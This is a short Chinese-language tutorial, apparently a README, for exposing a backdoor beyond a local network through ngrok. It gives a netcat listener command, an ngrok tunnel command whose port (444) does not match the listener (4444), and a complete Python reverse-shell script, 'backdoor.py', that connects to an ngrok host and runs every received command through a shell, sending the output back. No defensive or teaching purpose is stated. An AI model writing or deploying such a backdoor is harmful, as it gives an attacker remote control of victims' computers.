如果你想使用你的后门来接收局域网外的连接,请使用ngrok
例子:
1-让我们监听端口 4444:
nc -lp 4444
2-安装 ngrok 后,您将运行以下命令:
ngrok tcp 444
3-现在找到ngrok地址
ngrok地址
4-使用您的 ngrok 地址连接到客户端
# backdoor.py
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST = '0.tcp.ngrok.io'
PORT = 12969
s.connect((HOST, PORT))
while True:
conn = s.recv(2048).decode()
if conn[:3] == 'cd ':
os.chdir(conn[3:])
cmd = ''
else:
proc = subprocess.Popen(conn, stdout=subprocess.PIPE,stderr=subprocess.PIPE, stdin=subprocess.DEVNULL, shell=True)
stdout, stderr = proc.communicate()
cmd = stdout+stderr
cmd += str('\n'+os.getcwd()).encode()
s.send(cmd)
5-现在您可以与网络外的任何人联系
壳